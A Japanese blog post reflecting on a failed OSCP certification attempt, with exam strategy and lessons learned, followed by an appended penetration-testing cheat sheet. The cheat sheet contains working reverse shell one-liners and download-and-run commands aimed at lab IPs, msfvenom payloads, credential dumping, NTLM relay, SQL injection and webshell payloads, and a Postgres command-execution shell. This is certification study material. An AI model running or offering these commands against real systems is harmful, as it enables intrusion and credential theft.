OSCP "不” 合格体験記 

# はじめに

皆様、はじめまして。某IT企業に勤めているnakajimeeeeと申します。
先日、OffSec社（旧Offensive Secuiry社）のOSCPに挑戦し、**不合格**になりました。
自分に足りなかったスキルや反省するべきところはどこなのか分析し、同じくOSCP取得を目指している人の参考になればと思い、体験記を執筆しました。合格体験記は巷にあふれているので、そういった意味では少し特異な体験記かもしれません。長文になりますが、お付き合いいただけると幸いです。
また、受験にあたって、**チートシート**を作成しました。誰かの役に立つかもしれないので、チートシートも併せて公開します。

# 目次

- OSCPとは
- OSCP取得を目指したきっかけ
- トレーニング前の事前知識
- トレーニング期間（2023年5月～8月）に実施したこと
- 試験合格への戦略
- 試験当日
- 自分に足りなかったスキル・反省点
- 最後に
- Appendix（作成したチートシート）

# OSCPとは

OSCPとは、主催しているOffsec社の[ウェブサイト](https://www.offsec.com/courses/pen-200/)から引用すると、以下の通りです。

> The OSCP is considered to be more technical than other ethical hacking certifications and is one of the few that requires evidence of practical penetration testing skills.

> OSCPは、他の倫理的ハッキング認定資格よりも技術的であると考えられており、実践的な侵入テストのスキルを証明する必要がある数少ない資格の1つである。

つまり、ペネトレーションテストに関する試験であり、**実践的**なスキルを証明する資格の一つです。
レポーティングも含めると、48時間連続で試験を行うという、非常にハード、かつ、厳格な試験となっています。また、試験単体で受験することはできず、Offsec社の用意した膨大なトレーニングを実施する必要があります。したがって、**OSCPは、ペネトレーションテストにおける基本知識を有している、ということを証明するのに十分な資格**と言えるでしょう。詳細は、Offsec社の[ウェブサイト](https://www.offsec.com/courses/pen-200/)をご覧ください。


# OSCP取得を目指したきっかけ

私がOSCPを目指したきっかけは、大きく以下の二つです。
この二つについて、自分のこれまでのキャリアを少し紹介しながら、説明いたします。
- Offensive Securityに憧れがあったから
- 目指す人材像において、実技の試験以外では意味がないと感じたから

### Offensive Securityに憧れがあったから
極論を言ってしまえば、**攻撃者がいなければ、セキュリティは必要ありません**。その意味において、セキュリティは**攻撃者目線で考える**ことが非常に重要だと考えています。しかし、実際に攻撃者目線でセキュリティを考えられる人は、自分も含め、周りを見てもあまりいない印象を持っています。そういった意味で、攻撃者目線でのセキュリティを考えられる人に対して、尊敬と憧れを抱いており、思い切ってOSCPを受験してみました。

### 目指す人材像において、実技の試験以外では意味がないと感じたから
私が目指す人材像は、現場で手を動かすことができ、さらに現場での経験を踏まえて、顧客に対して有益な提案をできる人材です。現在は、同社のセキュリティ部門に所属していますが、新卒で入社した2019年から2023年3月末までの4年間、営業を担当していました。そこで痛感したことは、顧客の持つ真の課題を知るためには、現場を知る必要があるということです。現場を知るためには、いくつか方法があると思いますが、最短のルートは**実際に手を動かして、セキュリティ運用や開発に関わること**と考えています。**実際に手を動かすことで、初めて見えてくるものが数多くあると信じています**。したがって、暗記だけで乗り切れるような試験ではなく、実際に実技を見られるOSCPを選択しました。

これは、完全に蛇足ですが、営業担当時代の上司から、以下のようなことを言われたことも、OSCPを選択したことに影響しています。。。笑　この発言を受けたのは、CISSPを取得した後であり、この人に対しては、CISSPはスキルを持っている証明にならないんだ、とひどく落ち込んだ記憶があります。

> どうしてこれが顧客の課題だと思ったの？
> 手を動かしたこともないし、もちろん、実際の運用にも関わったことないよね？
> しっかりとセキュリティの有識者に対して、確認をしてから顧客に提案しようね。

# トレーニング前の事前知識
営業担当として、セキュリティの提案をするにあたって、基本的な知識は身につけておく必要があると思い、以下の資格を取得しています。

- 情報処理安全確保支援士（本登録はしていないので、野良です）
- CISSP（準会員）

また、ペネトレーションテストの基本的な事項を学ぶことのできる[TryHackMe](https://tryhackme.com/)で、情報収集～権限昇格の簡単な演習を実施しました。

# トレーニング期間（2023年5月～8月）に実施したこと

OSCPでは、試験を受ける前に、以下を推奨しています。

1. 850ページを超える膨大な資料の読み込み
2. 上記資料に紐づく演習
3. 実際の環境を模したマシンの攻略（50台以上のマシンが用意されています）

TryHackMeでなんとなくの流れは知っていたものの、体系的な知識を身につけたいと思い、1～3すべてを実施しました。なお、各章ごとの演習を80%以上実施、かつ、30台以上のマシンを攻略することによって、試験で[10ポイント](https://help.offsec.com/hc/en-us/articles/12483872278932-PEN-200-FAQ#h_01H4NXME7QNE9EN2METANNMGT4)がボーナスポイントとして付与されます（後述しますが、**試験合格には10ポイントは非常に大きい**です）

# 試験合格への戦略

OSCPにおいては、100点満点中、70ポイント以上を取得し、かつ、詳細なレポートを提出することで、合格となります。

ポイントの配分は以下の通りです。

- Active Diretory（AD）に属する3台のマシン（40ポイント、部分点無し）
    1. 外部から侵入できるマシン × 1
    2. 上記を踏み台にして侵入できるマシン × 1
    3. ドメインコントローラー × 1
- スタンドアロンのマシン × 3台（各20ポイント）
    - 低特権で取得できるフラグ（10ポイント）
    - 高特権（rootやadmin権限）で取得できるフラグ（10ポイント）

したがって、70ポイントを取得するためには、以下のシナリオが考えられます。
ボーナスポイントの存在により、試験合格へのハードルが下がっていることがわかると思います。

> **1. AD + スタンドアロン（高特権）× 1 + スタンドアロン（低特権）× 1**
> **2. AD + スタンドアロン（低特権）× 3**
> **3. AD + スタンドアロン（高特権）× 1 + ボーナスポイント**
> **4. AD + スタンドアロン（低特権）× 2 + ボーナスポイント**
> **5. スタンドアロン（高特権）× 3 + ボーナスポイント**

スタンドアロン3台を完全に攻略するのは相当難しいと考え、**AD + スタンドアロン（高特権）× 1 + ボーナスポイント**で、70ポイント取得を目論んでいました。

40ポイントが先に取得できると精神的な安心を得られるため、**ADの攻略からはじめ、そのあとにスタンドアロンの攻略を実施しよう**と戦略を立てました。（同時期に試験を受けるDiscord上で知り合った人から、ADが難しかったと聞いていましたが、何とかなるだろうと高をくくっていました。。。）
# 試験当日

おおよその時系列は以下の通りです。
ボーナスポイントを含め、合格点まで残り10点足らず不合格、という結果でした。
※ 取得ポイントはボーナスポイントを含めています。

| 時刻 | 出来事 | 取得ポイント |
|:-----------|:------------|:------------:|
| 11:00 | 試験開始  | 10 |
| 11:45 | ADマシンの初期侵入に成功 | 10 |
| 15:00 | 権限昇格の糸口が全く見えず、焦り始める | 10 |
| 16:00 | いったん、ADマシンはあきらめ、スタンドアロンの攻略に取り掛かる | 10 |
| 19:00 | 1台目のスタンドアロンの低特権を取得 | 20 |
| 20:00 | 上記マシンの高特権を取得 | 30 |
| 23:00 | 2台目のスタンドアロンの低特権を取得 | 40 |
| 24:00 | 上記マシンの高特権を取得 | 50 |
| 02:00 | 3台目のスタンドアロンの糸口が全く見つからず、再度、ADマシンの攻略に戻る | 50 |
| 04:00 | ADマシン攻略に進展が見られなかったため、スタンドアロンの攻略に専念 | 50 |
| 06:00 | 3台目のスタンドアロンの低特権を取得 | 60 |
| 09:00 | 権限昇格の糸口を見つける | 60 |
| 10:45 | 権限昇格できず、試験終了 | 60 |

こちらの時系列を見ていただくとお分かりかと思いますが、ADマシンの攻略とスタンドアロンの攻略を行ったり来たりしています。
70ポイントを取得するという目的からすると、2台目のスタンドアロンを攻略した後は、**3台目に専念するべきだったにも関わらず**、ADマシンに時間を割いてしまっています

# 自分に足りなかったスキル・試験での反省点

自分に足りなかったスキル・試験での反省点は、大きく3つだと考えています。

- **効率的かつ効果的なNote Takingが出来ていなかったこと**
- **権限昇格において、ツールに頼りすぎたこと**
- **戦略を柔軟に変えられなかったこと**

#### 効率的かつ効果的なNote Takingが出来ていなかったこと

Note Takingの目的は、収集した情報を構造化・整理し、ペネトレーションテストを効率かつ効果的に行うことです。Note Takingの重要性は分かっていたものの、トレーニングの中でしっかりNote Takingの練習はせずに、試験に臨んでしまいました。

#### 権限昇格において、ツールに頼りすぎたこと

試験のどこで詰まってしまったのか振り返ると、権限昇格が上手くいかず、ポイントが取得できませんでした。

- ADマシンの権限昇格
- スタンドアロンマシンの権限昇格

権限昇格では、linpeas等の自動列挙ツールを使えば、どこかで糸口が見つかると高をくくっていました。しかし、OSCPのトレーニングの中でも、**自動列挙ツールは抜け漏れがあるため、手動での列挙が重要**との文言がありました。そこをおろそかにし、自動列挙ツールの出力に頼り切ってしまったため、権限昇格の糸口を見逃してしまったのではないかと、考えています。見つけた情報を、Note Takingでしっかり整理することで、網羅的な検証ができると考えています。

#### 戦略を柔軟に変えられなかったこと

試験に合格することだけを考えるなら、この部分が一番の致命傷だったと考えています。
**AD + スタンドアロン（高特権）× 1 + ボーナスポイント**ではなく、**スタンドアロン（高特権）× 3 + ボーナスポイント**へ早い段階で切り替えていれば、合格点に達していたかもしれません。試験の中で、各マシンの難易度を見極め、**合格点に達するまでのシナリオを変更する**ことが最重要だったと考えています。

# 最後に

長文にお付き合い頂きありがとうございました。
この記事が、これからOSCPの受験を予定している人にとって、何かの役に立てれば幸いです。

# Appendix（作成したチートシート）

# OSCP Cheet Sheet
## *Table of Contents*
* Windows
  * [Enumeration](#enumeration)
  * [Privilege Escalation](#Privilege-Escalation)
  * [Enumeration Active Directory](#enumeration-active-directory)
  * [Attacking Active Directory](#attacking-active-directory)

* Linux
  * [Enumeration](#enumeration-1)
  * [Privilege Escalation](#privilege-escalation-1)

* [Lateral Movement](#lateral-movement)
* [Password/HASH Cracking](#passwordhash-cracking)
* [SQL Injection](#sql-injection)
* [OS Command Injection](#os-command-injection)
* Tools / Protocols
  * [Online Reverse Shell](#online-reverse-shell)
  * [Powershell](#powershell)
  * [Metasploit](#metasploit)
  * [Nmap](#nmap)
  * [ffuf](#ffuf)
  * [SNMP](#snmpsimple-network-management-protocol)
  * [Git](#git)
  * [.NET](#NET)
  * [RunasCs](#runascs)
  * [MySQL](#mysql)
  * [Postgres](#postgres)
  * [SQLite](#sqlite)
  * [WPScan](#wpscan)
  * [SSH](#ssh)
  * [VNC](#vncvirtual-network-computing)
  * [tcpdump](#tcpdump)
  * [netcat](#netcat)
  * [File Transfer](#file-transfer)
* [Check Points if you get stuck](#check-points-if-you-get-stuck)
* [Trouble Shooting](#trouble-shooting)
* [Others](#others)


## *Windows* 
### *Enumeration*
* ユーザー検索
  * ``Get-LocalUser``
* グループ検索
  * `Get-LocalGroup`
* グループメンバーの検索
  * `Get-LocalGroupMember <GroupName>`
* ファイル検索
  * `Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx, *.zip, *.config, *.kdbx, *.ini -File -Recurse -ErrorAction SilentlyContinue`
* プロセス検索
  * `Get-Process　<ProcessName>`
  * プロセスに紐づくバイナリ検索
    * `Get-Process | ForEach-Object {$_.Path}`
* サービス
  * サービス一覧
    * `sc.exe query`
  * サービス一覧 - サービス名 + 状態
    * `sc.exe query | findstr /R "SERVICE_NAME STATE"`
  * 自動実行サービス
    * `Get-CimInstance -ClassName win32_service | Select Name, PathName, StartMode`
  * サービス開始
    * `Start-Service <Service Name>`
    * `sc[.exe] start <Service Name>`
  * サービス終了
    * `sc[.exe] stop <Service Name>`
* スケジュールタスク
  * `schtasks /query /fo LIST /v`
* PATHの表示
  * `$env:path`
* 保存済みのWindowsクレデンシャル表示
  * `cmdkey /list`
* アプリケーション
  * インストールアプリケーション一覧
    * `Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname`
    * `Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname`

* ホスト上の時刻表示
  * `(get-date).ToString('T')`
* [ファイル所有者の表示](https://shellgeek.com/get-the-file-owner-using-powershell/)
  * `icacls <FileName>`
* SMB
  * share enumeration
    * ``enum4linux <TargetIP>``
    * `smbclient -U '<DomainName>/<Username>%<Password>' -L //TargetIP/`
    * `smbclient -L //TargetIP/ -N`
  
### *Privilege Escalation*
* Unquoted Service Paths
  1. `powershell -ep bypass`
  2. ``. .\PowerUp.ps1``
  3. `Get-UnquotedService`
* Service Binary Hijacking
  1. `powershell -ep bypass`
  2. ``. .\PowerUp.ps1``
  3. `Get-ModifiableServiceFile`
* SeImpersonatePrivilege
  * PrintSpoofer
    * Named pipeの悪用
    * ``.\PrintSpoofer64.exe -i -c powershell.exe``
  * [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG)
    * ``.\JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a "/c C:\Users\Public\reverse.exe"``
  
### *Enumeration Active Directory*
* Data Collection
  1. `Import-Module .\SharpHound.ps1`
  2. ``Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\xxx\ -OutputPrefix "xxx"``
* Analysis
  1. `sudo neo4j start`
  2. `bloodhound`
     * User Enumeration
       * `MATCH (m:User) RETURN m`
     * Machine Enumeration
       * `MATCH (m:Computer) RETURN m`
     * Find Relationship between users and machines
       * `MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p`
     * Find DomainAdmin
       * `Find all Domain Admins`
     * Find Kerberoastable
       * `List all Kerberoastable Accounts`
  
### *Attacking Active Directory*
* AS-REP Roasting
  * Do not require Kerberos preauthentication is **enabled**
  * `impacket-GetNPUsers -dc-ip 192.168.50.70  -request -outputfile hashes.asreproast corp.com/pete`
  * `hashcat -m 18200 <hashfile> <Wordlists> -r <rule> --force`
* Kerberoasting
  * `.\Rubeus.exe kerberoast /outfile:hashes.kerberoast`
  * `hashcat -m 13100 <hashfile> <Wordlists> -r <rule> --force`
* mimikatz
  * メモリに保存されているクレデンシャルを抽出
  * ``privilege::debug``
    * `sekurlsa::logonpasswords`
    * `lsadump::dcsync /user:<Domain\<TargetUsername>`
  * `hashcat -m 1000 <hashfile> <Wordlists> -r <rule> --force`
* [crackmapexec](https://ptestmethod.readthedocs.io/en/latest/cme.html)
  * Active Directory networksのセキュリティ評価に使用
  * `crackmapexec <protocol> <protocol options> <TargetIP> -d <DomainName> -u <Username> -p <Password>`
  * クレデンシャルごとに試行
    * `cme smb 192.168.1.101 -u user.txt -p password.txt --no-bruteforce --continue-on-succes`
  * Adding --local-auth to any of the authentication commands with attempt to logon locally
    * `--local-auth`
* Cracking Net-NTLMv2
  * kali linux（tun0）に対して、ウェブアプリケーションやマシンからshareにアクセスさせることで、NTLM Hashを取得可能
  1. `sudo responder -I tun0`
  2. Access my share (dir \\192.168.45.156\test etc)
 
## *Linux* 
### *Enumeration*
* ファイル検索
  * `find . -type f -name "*.txt" -or -name "*.html" 2>/dev/null`
  * `find <directory name> -user <User name> 2>/dev/null`
  * `find <directory name> -group <Group name> 2>/dev/null`
### *Privilege Escalation*
* SUIDを持つプロセス一覧取得
  * `find / -type f -perm -04000 -ls 2>/dev/null`
* 書き込み可能領域取得
  * `find / -writable 2>/dev/null`
* Path追加
  * `export PATH=/tmp:$PATH`
* プロセスモニタリング
  * スナップショット
    * `ps aux`
  * 継続監視
    * `watch -n 1 "ps -aux | grep xxx"`
    * `./pspy64 -p`
    * https://github.com/DominicBreuker/pspy
* /etc/passwdの設定ミス悪用
  1. `openssl passwd w00t`
  2. `echo "root2:<encrypted password>:0:0:root:/root:/bin/bash" >> /etc/passwd`
* [権限昇格に活用可能なプロセス一覧](https://gtfobins.github.io)

## *Lateral Movement*
* [PsExec](https://wadcoms.github.io/wadcoms/Impacket-PsExec/)
  * リモートでシェル実行するツール
  * 実行可能条件は以下
    * Administrators of local group
    * ADMIN$ share must be available
    * File and Printer Sharing has to be turned on
  * `impacket-psexec [domain/]Usename[:password]@TargetIP`
  * `impacket-psexec -hashes 00000000000000000000000000000000:<NTLM hash><UserName@<TargetIP>`
* impacket-mssqlclient
  * mssqlでlocal adminの場合、使用可能
  * `impacket-mssqlclient oscp/sql_svc:Dolphin1@10.10.94.148 -windows-auth`
* Relay Attack
  * SMB shareにウェブアプリケーションや内部ネットワークからアクセスし、認証に使うhashを異なるマシンへリレー
  * `sudo impacket-ntlmrelayx --no-http-server -smb2support -t <targetIP> -c "<RelayCommands>"`
  * 192.168.50.242に対して、NTLM Hashをリレーして認証し、powershell reverse shellをそのマシン上で実行
    * `nc -nlvp 4444`
    * `sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.242 -c "powershell -enc JABjAGwAaQ..."`
* Windows Remote Management（WinRM）
  * Windows を遠隔で操作する仕組み
  * LinuxのSSHライクな仕組みを提供
  * Default port：5895
  * [Evil-WinRM](https://linuxcommandlibrary.com/man/evil-winrm#:~:text=Connect%20to%20a%20host%2C%20passing%20the%20password%20hash,--user%20%5Buser%5D%20--password%20%5Bpassword%5D%20--scripts%20%5Bpath%2Fto%2Fscripts%5D%20--executables%20%5Bpath%2Fto%2Fexecutables%5D)
    * リモートのWindowsサーバーで稼働しているWinRMサービスに接続
    * `evil-winrm --ip <Target IP> --user <Username> --password <Password>`
    * `evil-winrm --ip <Target IP> --user <Username> --hash <NTLM Hash>`
    * WinRMは動作が不安定な場合がある。そのトラブルには[こちら参照](https://github.com/antonioCoco/ConPtyShell)
* Windows Remote Desktop（RDP）
  * Default port：3389
  * `xfreerdp /u:<UserName> /p:<Password> /d:<DomainName> /v:<TargetIP> /drive:<TargetMount>, <SouceMount>`
    * `xfreerdp /u:yoshi /p:Mushroom! /d:medtech.com /v:172.16.222.12 /drive:tmp, /tmp`
* Tunneling
  * HTTP Tunneling using chisel
    * 内部ネットワーク上のウェブアプリケーションに対して、アクセスする際に活用
    * Server
      * `./chisel server -p <ResersePort> --reverse`
    * Client
      * `.\chisel.exe client <ServerIP:port> R:<ReversePort>:<DestinationIP>:<DestinationPort>`
    * 例1
      * 192.168.45.244:8080のサーバーに対して、リバースで接続。localhostのport80にアクセスすると、172.16.106.20:80へアクセス
      * `./chisel server -p 8080 --reverse`
      * `.\chisel.exe client 192.168.45.244:8080 R:80:172.16.106.20:80`
    * 例2
      * 192.168.45.244:8080のサーバーに対して、リバースで接続。待ち受けているsocks proxy（port:1080）にアクセスすると、任意のアドレス・ポートへフォワード
      * `./chisel server -p 8080 --reverse`
      * `.\chisel.exe client 192.168.45.244:8080 R:socks`

  * SSH Tunneling
    * Local Port Forward
      * localhostのport9999にアクセスすると、192.168.45.156:443へport forwardする
      * `ssh -N -L 0.0.0.0:9999:192.168.45.156:443 kali@192.168.45.156`
    * Dynamic Port Forward
      * localhostのport9999にアクセスすると、192.168.45.156の任意のポートにforwardする
      * `ssh -N -D 0.0.0.0:9999 kali@192.168.45.156`
    * Reverse Dynamic Port Forward
      * kali上で、localhostの1080にアクセスすると、内部ネットワークの任意のポートにforwardする
      * `ssh -N -R 1080 kali@192.168.45.241`
      * ``socks5 127.0.0.1 1080``
      
## *Password/HASH Cracking*
* SSH
  1. `ssh2john id_rsa > id_rsa.hash`
  2. `john --wordlist=<WordlistPath> id_rsa.hash`
* /etc/shadow
  1. ``unshadow /etc/passwd /etc/shadow > johnpasswd``
  2. ``john --wordlist=<WordlistPath> johnpasswd``
* KeePass Database file (.kdbx)
  1. `keepass2john Database.kdbx > Keepasshash.txt`
  2. `john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt`
  3. `open KeePassXC (Kali Linux)`
* ZIP
  1. ` zip2john secret_files.zip > hash.txt`
  2. `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`
* SAM
  * Security Account Manager
  * ユーザーアカウントやアクセス権についてのセキュリティ設定を管理するサービスで、NTLMハッシュ値等を格納
  * 格納例
    * Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      * LT：aad3b435b51404eeaad3b435b51404ee
      * NTLM：31d6cfe0d16ae931b73c59d7e0c089c0
  * Dumping
    * `python creddump7/pwdump.py <system hive> <SAM file >`
* [Online Cracking](https://crackstation.net/)
  *  既存のハッシュ値を見つけることが可能
  *  hashcatやjohnでクラックできない場合に使用
* hashcat
  * `hashcat -m 13400 Keepass.hash /usr/share/wordlists/fasttrack.txt -r /usr/share/hashcat/rules/best64.rule --force`
* Hydra
  * `hydra -V -f -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form '/user/login.php:username=^USER^&password=^PASS^:Invalid Password!'`

## *SQL Injection*
* Error-based Payloads
  * ``offsec' OR 1=1 -- //``
  * `' or 1=1 in (select @@version) -- //`
  * `' OR 1=1 in (SELECT * FROM users) -- //`
* UNION-based Payloads
  * カラム数の特定
    * カラム数を超えるとエラーの出るため、エラーの出る値N-1がカラム数に等しい 
    * `' ORDER BY N -- //`
  * データベースの列挙
    * `' UNION SELECT database(), user(), @@version, null, null -- //`
    * カラム1はidに割り当てられていることが多いため、必要に応じて、カラム1に該当する部分はnullにする
  * テーブルとカラムの列挙
    * `' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //`
* Blind-based Payloads
  * `' AND 1=1 -- //`
  * `' AND IF (1=1, sleep(3),'false') -- //`
  * `' WAITFOR DELAY ‘0:0:3’ `
* Command Execution
  * [MSSQL](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)はコード実行が可能
    * `EXECUTE sp_configure 'show advanced options', 1;RECONFIGURE;EXECUTE sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXECUTE xp_cmdshell 'whoami';`
  * MySQLは単体でRCEは不可能であるが、コードを埋め込むことで、間接的にRCEが可能
    * `' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //`

## *[OS Command Injection](https://portswigger.net/web-security/os-command-injection)*
* Useful commands
  * Windows
    * `whoami`
    * `ver`
    * `ipconfig /all`
    * `netstat -an`
    * `tasklist`
  * Linux
    * `whoami`
    * `uname -a`
    * `ifconfig`
    * `netstat -an`
    * `ps -ef`
* Ways of injecting OS commands
  * Windows and Unix-based
    * `&`
    * `&&`
    * `|`
    * `||`
  * Unix-based only
    * `;`
  * sometimes `"` or `'` works well to terminate the quoted context
* Blind OS command injection
  * `ping -c 10 127.0.0.1`
  * `whoami > /var/www/static/whoami.txt`

## *Tools / Protocols*

### [*Online Reverse Shell*](https://www.revshells.com/)
* 様々な言語や環境に応じたリバースシェルを作成可能
* Linux
  * ``/bin/sh -i >& /dev/tcp/192.168.45.241/4455 0>&1``
  * `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.241 443 >/tmp/f`
  * `nc 192.168.45.241 443 -e /bin/sh`
  * ``msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f elf -o reverse.elf``
  * `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.241 LPORT=9001 -f elf -o reverse.elf`
* Windows
  * `nc.exe 192.168.45.241 443 -e /bin/sh`
  * `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.45.241 LPORT=443 -f exe -o reverse.exe`
  * `msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f exe -o reverse.exe`
  * `msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.241 LPORT=443 -f dll -o reverse.dll`

### *Bash Shell*
* ``python3 -c 'import pty; pty.spawn("/bin/bash")'``

### *Powershell*
* ファイルダウンロード
  * `iwr -uri <URL> -OutFIle <Output Filename>`
* [zipファイル解凍](https://qiita.com/n-nabe/items/4f5f6f5178205a2cbc50)
  * `Expand-Archive -Path C:\Users\.... -DestinationPath C:\Users\XXX\`
* Hiddenファイルの表示
  * `ls -Force`
* [Building http server](https://woshub.com/simple-http-webserver-powershell/)
  1. ``$httpListener = New-Object System.Net.HttpListener`` 
  2. `$httpListener.Prefixes.Add("http://localhost:9090/")`
  3. ``$httpListener.Start()``
* Reverse Shell Oneliner
  * Non encode
    * `powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.241:8000/powercat.ps1');powercat -c 192.168.45.241 -p 443 -e powershell"`
  * Encoded
    1. `pwsh`
    2. `$Text = '$client = New-ObjectSystem.Net.Sockets.TCPClient("192.168.45.211",4444);$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | OutString );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'`
    3. `$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)`
    4. `$EncodedText =[Convert]::ToBase64String($Bytes)`
    5. `$EncodedText`
    6. `powershell -enc $EncodedText`
  
### *Metasploit*
* Auto Routing
  * `use multi/manage/autoroute`
* Proxy
  * `use auxiliary/server/socks_proxy`
  * `set SRVHOST 127.0.0.1`
  * `/etc/proxychains4.conf：socks5  127.0.0.1 1080`
* [meterpreter](https://qwertytan.hatenablog.jp/entry/2021/08/31/142202)
  * システム情報取得
    * `sysinfo`
  * プロセス一覧取得
    * `ps`
  * ユーザーの確認
    * `getuid`
  * 有効な特権の確認
    * `getprivs`
  * ファイルを攻撃対象にアップロード
    * `upload`

### *Nmap*
* topN portのチェック
  * `nmap --top-ports <number of port> <Target IP>`
* [UDPスキャン](https://qiita.com/kenryo/items/1b49bddce44e9412638f)
  * `sudo nmap -sU --top-ports 100 --open 192.168.xxx.xxx -oN nmap/192.168.xxx.xxx_UDP`
  
### [*ffuf*](https://github.com/ffuf/ffuf)
* 複数のwordlistを使用
  * `ffuf -c -u http://192.168.204.147:8080/W1W2 -w /usr/share/wordlists/dirb/common.txt:W1,/usr/share/wordlists/dirb/extensions_common.txt:W2`
* Virtual Host Discovery
  * ``ffuf -w /path/to/vhost/wordlist -u https://target -H "Host: FUZZ"``

### *SNMP(Simple Network Management Protocol)*
* SNMP is based on UDP, a simple, stateless protocol, and is therefore susceptible to IP spoofing and replay attacks.
* Default port:161
* `sudo nmap -sU --open -p 161 <TargetIP>`
* `sudo nmap --script "snmp* and not snmp-brute" -p 161 -sU <TargetIP>`
* `sudo nmap -sU -p 161 --script snmp-brute <TargetIP>`
* OID(Object Identifier)
    * System Processes(OID)
      * 1.3.6.1.2.1.25.1.6.0
    * Running Programs
      * 1.3.6.1.2.1.25.4.2.1.2
    * Processes Path
      * 1.3.6.1.2.1.25.4.2.1.4
    * Storage Units
      * 1.3.6.1.2.1.25.2.3.1.4	
    * Software Name
      * 1.3.6.1.2.1.25.6.3.1.2
    * User Accounts
      * 1.3.6.1.4.1.77.1.2.25
    * TCP Local Ports
      * 1.3.6.1.2.1.6.13.1.3
* Management Information Base (MIB)
  * database containing information usually related to network management
  * [snmpwalk](https://www.secuavail.com/kb/windows-linux/linux-snmpwalk/)
    * SNMPマネージャ用のコマンド
    * 指定したOID配下に含まれるすべてのOIDとMIBのサブツリー全体情報を取得可能
    * Basic Command
      * `snmpwalk -c public -v1 -t 10 <TargetIP> <OID>`
    * Useful commands
      * `sudo snmpwalk -v 2c -c public <TagetIP> NET-SNMP-EXTEND-MIB::nsExtendObjects`

### *Git*
* .gitレポジトリを見つけたら、wget -r でダウンロード
* [repo-security-scanner](https://github.com/techjacker/repo-security-scanner)
  * CLI tool that finds secrets accidentally committed to a git repo, eg passwords, private keys
  * `git log -p`

### *SMTP*
* メール送信
  * `swaks --to <SendToAddress> --from <OriginAddress> --attach <AttachedFile> --server <TargetIP> --body <MailContent> --header <Subject> -ap`
### *.NET*
* デコンパイラ
  * `ilspycmd <dotnet filename>`
  
### *RunasCs*
* `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs`
  
### *Technology stack*
* 使用されているウェブアプリケーションスタックを検索
* `whatweb http://<TargetIP>`

### [*MySQL*](https://qiita.com/CyberMergina/items/f889519e6be19c46f5f4)
* デフォルトポート：3306
* 接続方法
  * `mysql -h 127.0.0.1 --user=myuser --password=mypass`
* データベース一覧の表示
  * `show databases;`
* データベースの選択
  * `use test_db;`
* テーブル一覧の表示
  * `show tables;`
  * `show table status;`

### [*Postgres*](https://qiita.com/H-A-L/items/fe8cb0e0ee0041ff3ceb)
* デフォルトポート：5432
* サービスの起動
  * `postgres -D /usr/local/var/postgres`
* データベースとユーザを指定して接続
  * `psql -d <Database> -U <Username>`
* データベース
  * 一覧の表示
    * `\l`
  * 選択  
    * `\c <Database>`
* テーブル
  * 一覧の表示
    * `\dt;`
* [RCE](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
  1. `DROP TABLE IF EXISTS cmd_exec; `
  2. `CREATE TABLE cmd_exec(cmd_output text);`
  3. `COPY cmd_exec2 FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.45.241 443 >/tmp/f';`  

### *SQLite*
* ファイル形式：.db
* `sqlitebrowser <Filename>`

### [WPScan](https://wpscan.com/)
* wordpressのバージョンや脆弱性をスキャン
* APIを活用することで、ウェブアプリケーションの脆弱性を探索可能
* `wpscan --url http://XXXXXX/WordPress/ -e vp --api-token xxxxxxxxxxxxxxxxxxxxxxxx`

### *SSH*
* Start SSH 
  * ``sudo systemctl start ssh``

### *VNC(Virtual Network Computing)*
* ネットワーク上のコンピュータを遠隔操作するためのデファクトスタンダードなソフト
* デフォルトポート：5900
* 接続
  * `vncviewer <TargetIP:Port>`
* [パスワード復号](https://github.com/billchaison/VNCDecrypt)
  * `echo -n <encrypted Password> | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv`

### [*tcpdump*](https://isleofhoso.com/linux-tcpdump-option/)
* rawレベルのトラフィックを取得
* TCPトラフィックの取得
  * `tcpdump -i <interface> -nn -vvv`
* UDPトラフィックの取得
  * `tcpdump -i <interface> udp -nn -vvv` 

### *netcat*
